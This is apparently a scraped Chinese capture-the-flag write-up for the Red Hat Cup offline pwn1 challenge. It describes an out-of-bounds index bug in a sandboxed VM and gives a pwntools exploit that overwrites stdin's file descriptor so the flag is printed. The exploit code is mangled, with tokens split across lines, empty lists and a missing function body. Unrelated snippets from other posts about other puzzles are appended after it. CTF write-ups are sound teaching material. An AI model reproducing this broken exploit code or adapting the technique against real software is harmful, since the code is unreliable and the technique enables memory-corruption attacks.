紅帽杯線下pwn1

2021-10-02 09:04:28 字數 2680 閱讀 3833

最開始它獲取了flag檔案的檔案描述符,並把它用dup2對映到0x233,這樣我們就知道0x233是flag的檔案描述符

然後定義了沙盒規則,不允許execvewrite,且虛擬機器本身只能輸入0x40道指令

它在處理指令的時候,有使用暫存器中的值作為index來訪問它定的記憶體區的資料的操作,但是它卻沒有對暫存器進行檢查

如果暫存器中是負數,那它就可以訪問到記憶體區之外的資料,導致oob

讀取到_io_2_1_stdin_的位址

將它加0x6c(即定位到它-4的位置)

將棧位址覆蓋成前兩步修改後的位址

push操作把0x233寫到_io_2_1_stdin__fileno最後的scanf後的printf就會把flag列印出來

from pwn import

*context(arch=

'amd64'

,os=

'linux'

,log_level=

'debug'

)sl =

lambda x:io.sendline(x)

s =lambda x:io.send(x)

rn =

lambda x:io.recv(x)

ru =

lambda x:io.recvuntil(x, drop=

true

)r =

lambda

:io.recv(

)it =

lambda

: io.interactive(

)success =

lambda x, y:log.success(x +

' '+

hex(y)

)binary =

'./rhvm.bin'

io = process(binary)

o =ops =

defadd

(a, b, c)

:(a <<16)

+(b <<8)

+ c)

defmovebtora

(a, b)

: add(

0x40

, a, b)

defprints()

: add(

0x60,0

,0)def

rasubrb

(a, b)

: add(

208, a, b)

defrardengyurbm

(a, b)

: add(

0x42

, a, b)

deframdengyurbr

(a, b)

: add(

0x41

, a, b)

deframulrb

(a, b)

: add(

0xc0

, a, b)

defrazuoyirb

(a, b)

: add(

224, a, b)

defraaddrb

(a, b)

: add(

160, a, b)

defpushra

(a):

add(

0x70,0

, a)

movebtora(0,

6)movebtora(1,

4)raaddrb(0,

1)rasubrb(2,

0)movebtora(3,

5)ramulrb(3,

1)rasubrb(4,

3)rardengyurbm(5,

4)movebtora(5,

6)razuoyirb(5,

1)movebtora(7,

8)raaddrb(0,

5)raaddrb(0,

7)raaddrb(0,

1)ramdengyurbr(2,

0)movebtora(3,

1)raaddrb(2,

3)raaddrb(4,

3)rardengyurbm(6,

4)ramdengyurbr(2,

0)movebtora(0,

2)movebtora(2,

3)razuoyirb(0,

1)raaddrb(0,

2)razuoyirb(0,

1)raaddrb(0,

2)pushra(0)

prints(

)io = process(binary)

ru('eip: '

)sl(

'0')

ru('esp: '

)sl(

'0')

ru('give me code length: '

)sl(

str(

len(ops)))

ru('give me code: '

)for i in ops:

sl(str(i)

)it(

)

主要是利用方法對我來說比較新穎,特此記錄一下

第16天 紅帽杯2019 easyRE

復現easyre 看了幾篇writeup我始終沒弄懂是怎麼找到真正的加密演算法的。搜尋字串,看到you found me。交叉引用來到主函式。這串 首先對給出的明文加密,加密後的結果是info the first four chars are flag 然後是十次同乙個函式加密,最後和明文比較,檢視...

洛谷P2425 小紅帽的回文數

傳送門 對於本題 單個資料範圍為10 10顯然不能用intac 所以關於單個資料的變數的型別要為long long型別 不然的話,總會有幾個點會因為溢位而wa 保險起見對於此題也可以把所有變數型別都變為long long型別 不難看出對於乙個大於2的正整數n 在n 1進製下表示為1 1 在 n的進製...

藍橋杯 P2719 搞笑世界盃

落谷網打卡演算法題第二天。很久很久以後,一次世界盃。隨著世界盃小組賽的結束,法國,阿根廷等世界強隊都紛紛被淘汰,讓人心痛不已.於是有人組織了一場搞笑世界盃,將這些被淘汰的強隊重新組織起來和世界盃一同比賽.你和你的朋友欣然去購買球票.不過搞笑世界盃的球票 方式也很特別,它們只準備了兩種球票.a 類票 ...